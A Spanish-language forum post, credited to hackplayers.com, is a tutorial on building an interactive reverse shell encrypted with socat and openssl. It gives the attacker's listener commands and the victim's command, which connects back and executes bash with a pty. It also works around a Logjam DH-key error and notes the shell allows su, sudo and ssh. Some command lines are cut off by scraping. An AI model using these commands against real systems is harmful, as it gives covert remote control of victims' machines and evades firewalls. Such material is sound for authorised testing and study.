Tras leer el artículo de alguien en la fisi me puse a investigar como mejorar la técnica de creación de una shell inversa de forma interactiva y además por un canal seguro.
Hoy me gustaría compartir con vosotros como crear una shell inversa de forma interactiva con socat y como cifrar ese canal a través de openssl.
Lo primero tenemos dos terminales, una de la victima y la otra del atacante.
Antes de nada os comento la diferencia entre shell directa y shell inversa:
-Shell directa: El atacante se conecta directamente a la victima.
-Shell inversa: En este otro caso sería la victima la que se conectaría al atacante (usada habitualmente para evadir sistemas de firewall)
You are not allowed to view links.
Register or
LoginATACANTELo primero de todo sería generar un certificado con openssl y dejar un puerto a la escucha mediante socat en la máquina atacante.
openssl req -new -x509 -days 365 -nodes -out cert.pem -keyout cert.pem && \
socat `tty`,raw,echo=0 openssl-listen:1237,reuseaddr,cert=cert.pem,verify=0
VICTIMAAhora ejecutaríamos lo siguiente en la máquina victima:
ps -ef | grep -q '
socat openssl-connect::1237,verify=0 exec:bash,pty,stderr,setsid
El tema es que nos casca la conexión con el siguiente error:
socat[3287] E SSL_connect(): error:14082174:SSL routines:SSL3_CHECK_CERT_AND_ALGORITHM:dh key too small
Este error es debido al Logjam Attack (You are not allowed to view links.
Register or
Login) y podríamos evitarlo repitiendo el proceso anterior con ejecuciones separadas de openssl y socat y entre medias de ambas ejecutar los siguientes comandos:
openssl dhparam -out dhparams.pem 2048
cat dhparams.pem >> cert.pemRepetimos por tanto el proceso anterior:
ATACANTELo primero sería generar un certificado con openssl y dejar un puerto a la escucha mediante socat en la máquina atacante ya que estamos hablando de una reverse shell.
openssl req -new -x509 -days 365 -nodes -out cert.pem -keyout cert.pemopenssl dhparam -out dhparams.pem 2048
cat dhparams.pem >> cert.pemsocat `tty`,raw,echo=0 openssl-listen:1237,reuseaddr,cert=cert.pem,verify=0Ahora sí hemos generado el certificado y dejado un puerto a la escucha en la máquina atacante.
You are not allowed to view links.
Register or
LoginVICTIMAAhora ejecutaríamos lo siguiente en la máquina victima para conectar al puerto que está escuchando en la máquina atacante.
ps -ef | grep -q '
socat openssl-connect:IP_VICTIMA:1237,verify=0 exec:bash,pty,stderr,setsidYou are not allowed to view links.
Register or
LoginA partir de ahora tendríamos una shell inversa y cifrada contra el equipo victima, y podemos ver que sería totalmente interactiva puesto que nos funcionarían programas del tipo top, vim, ssh, su, sudo o cualquier programa que solicite cualquier acción de forma interactiva para el usuario ya sea solicitando una password como es el caso de ssh, su y sudo o de otra manera como top y vim.
Más info.
You are not allowed to view links.
Register or
LoginYou are not allowed to view links.
Register or
LoginYou are not allowed to view links.
Register or
Login Fuente: Ignacio Martin / hackplayers.com